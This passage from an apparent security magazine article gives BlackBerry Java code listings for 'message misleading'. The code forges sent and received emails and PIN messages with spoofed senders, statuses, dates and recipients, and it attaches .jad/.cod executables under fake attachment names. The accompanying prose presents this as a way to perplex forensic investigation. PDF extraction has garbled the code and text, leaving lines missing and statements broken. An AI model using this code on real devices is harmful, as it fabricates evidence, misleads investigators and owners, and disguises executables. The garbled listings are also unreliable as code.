if (delivered) // CHECK DELIVERY STATUS

{

msg.setStatus(Message.Status.

TX_SENT, Message.Status.TX_SENT);

}

else

{


TX_ERROR, Message.Status.TX_ERROR);

msg.setFlag(Message.Flag.

OPENED, true);

// SET READ STATUS

}

try

{

msg.addRecipient(Message.

RecipientType.TO, oaddress);

// ADD RECIPIENT

}

catch (MessagingException e) { error_

message += e.getMessage(); }

msg.setSubject(“subject”);

// ADD SUBJECT TO EMAIL MESSAGES

try

{

msg.setSentDate(new Date());

// ADD NEW DATE

}



try

{

msg.setContent(message);

// ADD BODY

}



msg.setSentDate(new Date(System.

currentTimeMillis()));

// ADD NEW TIME

sentfolder.appendMessage(msg);

// ADD NEW EMAIL MESSAGE TO SENT FOLDER

if (error_message.length() < 1) { error_

message = “no_error”; }

return error_message;

}

static String MisLeadInboxMessage(Address

fromAddress, String message)

//BUILDER OF RECEIVED EMAIL MESSAGE WITHOUT

ATTACHMENT

{


Session session = null;

try

{

session = Session.

waitForDefaultSession();

}

catch (NoSuchServiceException e) { error_


Store store = session.getStore();


INBOX);

// RETRIVE AN INBOX FOLDER

Folder inbox = folders[0];

final Message msg = new Message(inbox);

//CREATE A NEW MESSAGE IN INBOX FOLDER

try

{


}



msg.setFrom(fromAddress);

//ADD A SENDER

msg.setStatus(Message.Status.RX_RECEIVED,

Message.Status.RX_RECEIVED);

//ADD A RECEIVED STATUS



//ADD DATE’n’TIME

msg.setFlag(Message.Flag.REPLY_ALLOWED,

true);

msg.setInbound(true);


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Listing 8d. MESSAGE MISLEADING

//ADD A SUBJECT TO EMAIL MESSAGE

inbox.appendMessage(msg);

//ADD EMAIL MESSAGE TO THE INBOX FOLDER

if (error_message.length() < 1)

{

error_message = “no_error”;

}


}

static String MisLeadSentPIN(String FakePIN)

//BUILDER OF SENT PIN MESSAGE

{

String err = “”;





SENT);

//RETRIEVE a PIN SENT FOLDER

Folder sentfolder = folders[0];

Message msg = new Message(sentfolder);

//CREATE A PIN MESSAGE IN THE SENT FOLDER

PINAddress recipients[] = new

PINAddress[1];

try

{

recipients[0]= new

PINAddress(FakePIN, “Robert”);

//ADD RECIPIENT BY PIN and

NAME

}

catch (Exception e) { err +=

e.getMessage(); }

try

{

msg.addRecipients(Message.

RecipientType.TO, recipients);

//ADD RECIPIENTS TO PIN

STRUCTURE

msg.setSubject(“SUBJ”);

//ADD A SUBJECT

msg.setContent(“BODY”);

//ADD A BODY


TX_SENT, Message.Status.TX_SENT);

//ADD A SENT STATUS

sentfolder.appendMessage(msg);

//PUT MESSAGE INTO SENT FOLDER

}


e.getMessage(); }

return err;

}

static String MisLeadInboxPIN(String FakePIN)

//BUILDER OF RECEIVED PIN MESSAGE

{

String err = ““;





INBOX);

//RETRIEVE a PIN INBOX FOLDER

Folder inboxfolder = folders[0];

Message msg = new Message(inboxfolder);

//CREATE A PIN MESSAGE IN THE INBOX

FOLDER

PINAddress recipients[] = new

PINAddress[1];

try

{

recipients[0]= new

PINAddress(FakePIN, “Robert”);

//ADD RECIPIENT BY PIN and NAME

}


e.getMessage(); }

try

{

msg.addRecipients(Message.

RecipientType.TO, recipients);

//ADD RECIPIENTS TO PIN STRUCTURE

msg.setSubject(“SUBJ”);

//ADD A SUBJECT

msg.setContent(“BODY”);

//ADD A BODY


RX_RECEIVED, Message.Status.RX_

RECEIVED);


inboxfolder.appendMessage(msg);

//PUT MESSAGE INTO INBOX FOLDER

}


e.getMessage(); }

return err;

}

static String MisLeadInboxMessageAttach(Address

fromAddress, String message)

//BUILDER OF RECEIVED EMAIL MESSAGE WITH ATTACHMENT

{


Listing 8e. MESSAGE MISLEADING


Session session = null;

try

{

session = Session.

waitForDefaultSession();

}



Store store = session.getStore();


INBOX);

// RETRIVE AN INBOX FOLDER

Folder inbox = folders[0];

final Message msg = new Message(inbox);

//CREATE A NEW MESSAGE IN INBOX FOLDER

try

{


}



msg.setFrom(fromAddress);

//ADD A SENDER

msg.setStatus(Message.Status.RX_RECEIVED,

Message.Status.RX_RECEIVED);




//ADD DATE’n’TIME

msg.setFlag(Message.Flag.REPLY_ALLOWED,

true);

msg.setInbound(true);


//ADD A SUBJECT TO EMAIL MESSAGE

String fullname1 = “file:///SDCard/bin/

BlackBerryKit_1.jad”;

String fullname2 = “file:///SDCard/bin/

BlackBerryKit_1.cod”;

//SET PATH OF EXECUTION FILE

byte[] data = new byte[256];

data = readFile(fullname1);

//CALL YOUR OWN READ METHOD TO GET

ATTACHMENT DATA

Multipart multipart = new Multipart();

SupportedAttachmentPart attach = null;

String mtype = “”;

try

{

try

{

mtype

= MIMETypeAssociations.

getMIMEType(fullname1);

//ADD ATTACHMENT

WITH CORRECT FILE TYPE

}

catch (Exception e) { error_


}

finally

{

attach = new SupportedAttach

mentPart(multipart, mtype, “file-

name-$$”, data);

//ADD A FAKE ATTACHMENT NAME

}

multipart.addBodyPart(attach);

data = readFile(fullname2);

mtype = “”;

try

{

try

{

mtype

= MIMETypeAssociations.

getMIMEType(fullname2);

//ADD ATTACHMENT

WITH CORRECT FILE TYPE

}

catch (Exception e)

{

error_message +=

e.getMessage();

}

}

finally

{

attach = new SupportedAttach

mentPart(multipart, mtype, “file-

name-$$$”, data);

//ADD A FAKE ATTACHMENT NAME

}

multipart.addBodyPart(attach);

try

{

msg.setContent(multipart);

}

catch (MessagingException e)

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the previous location, so it is a kind of timeline (Figure 21 and Listing 8).

ConclusionThese two articles describe how anyone could easily develop malware or a security application to manage

with other vulnerabilities. These highlighted points are very actual because some of them take advantage of old security issues and concepts from DOS, UNIX and other OSs.

YurY ChemerkiNGraduated at Russian State University for the Humanities (http://rggu.com/) in 2010. At present, postgraduate at RSUH.Information Security Researcher since 2009 and currently works as mobile and social information security researcher in Moscow. Experienced in Reverse Engineering, Software Pro-gramming, Cyber & Mobile Security Researching, Documen-tation, and Security Writing as regular contributor. Now re-searching Cloud Security and Social Privacy.Contacts: I have a lot of social contacts, that’s way you’re able to choose the most suitable way for you.Regular blog: http://security-through-obscurity.blogspot.comRegular Email: [email protected]: yury.chemerkinOther my contacts (blogs, IM, social networks) you’ll find among http links and social icons before TimeLine section on Re.Vu: http://re.vu/yury.chemerkin

Listing 8f. MESSAGE MISLEADING

{

error_message +=

e.getMessage();

}

//ADD A FAKE ATTACHMENT

inbox.appendMessage(msg);

//PUT AN EMAIL MESSAGE WITH ATTACHMENT TO INBOX FOLDER

if (error_message.length() < 1)

{

error_message = “no_error”;

}


}

public static byte[] readFile(String FullName)

{

byte[] data = null;


DataInputStream is = null;

try

{

fconn = (FileConnection) Connector.

open(FullName, Connector.READ);

is = fconn.

openDataInputStream();

data = IOUtilities.

streamToBytes(is);

}

catch (IOException e) { Dialog.alert(e.

getMessage()); }

finally

{

try

{

if (null != is)

{

is.close();

}

if (null != fconn)

{

fconn.

close();

}

}

catch (IOException e) {

Dialog.alert(e.getMessage()); }

}

return data;

}

}

Figure 21. ScreenShot of BlackBerry Map

http://rggu.com/

http://security-through-obscurity.blogspot.com/


http://re.vu/yury.chemerkin


The last exploitationThe last exploitation covers so-called message misleading dis-cussed in one of my previous articles. I recall some ideas and present code that attempts to cover all entry points and can be easily adapted for testing. RIM API has ability to create PIN

and e-mail with any possible parameters like their type as in-coming, outgoing, received, sent, draft, etc. and their status (read, unread, error while sent, etc.). You may set your own date, list of recipients, subjects, body, attachments. Note that not one of these messages will synchronize with your real e-

mail service. What are the goals you gain by implementing these ideas? Maybe you would like to build steganography, maybe you have to make a lot of fake message with fake in-teraction graphs to perplex forensic investigating or maybe something else – it is all up to you (Figure 22-Figure 25).

On the Net• http://forum.drweb.com/index.php?showtopic=302926 – New Trojan horse for Android spreads with Angry Birds Rio Unlock,

Dr.Web• http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu.html, http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu2/ – Researching

for DroidKungFu variants, Xuxian Jiang, Assistant Professor, Department of Computer Science, NC State University• http://blog.mylookout.com/blog/2011/01/07/geinimi-trojan-technical-analysis/ – Geinimi Trojan Technical Analysis,• http://www.informationweek.com/news/security/mobile/231001685 – Zitmo Banking Trojan• http://www.computerworld.com/s/article/9210764/New_bank_Trojan_employs_fresh_tricks_to_steal_account_data – OddJob

bank trojan• http://www.elcomsoft.com/ebbe.html – Elcomsoft Blackberry Backup Explorer

Figure 22. Sent Email Message

Figure 23. Received Email Message with attach Figure 25. Pin-to-PIN Message with Sent Status

Figure 24. Pin-to-PIN Message with Error Status

http://forum.drweb.com/index.php?showtopic=302926

http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu.html

http://www.csc.ncsu.edu/faculty/jiang/DroidKungFu2/

http://blog.mylookout.com/blog/2011/01/07/geinimi-trojan-technical-analysis/

http://www.informationweek.com/news/security/mobile/231001685

http://www.computerworld.com/s/article/9210764/New_bank_Trojan_employs_fresh_tricks_to_steal_account_data

http://www.elcomsoft.com/ebbe.html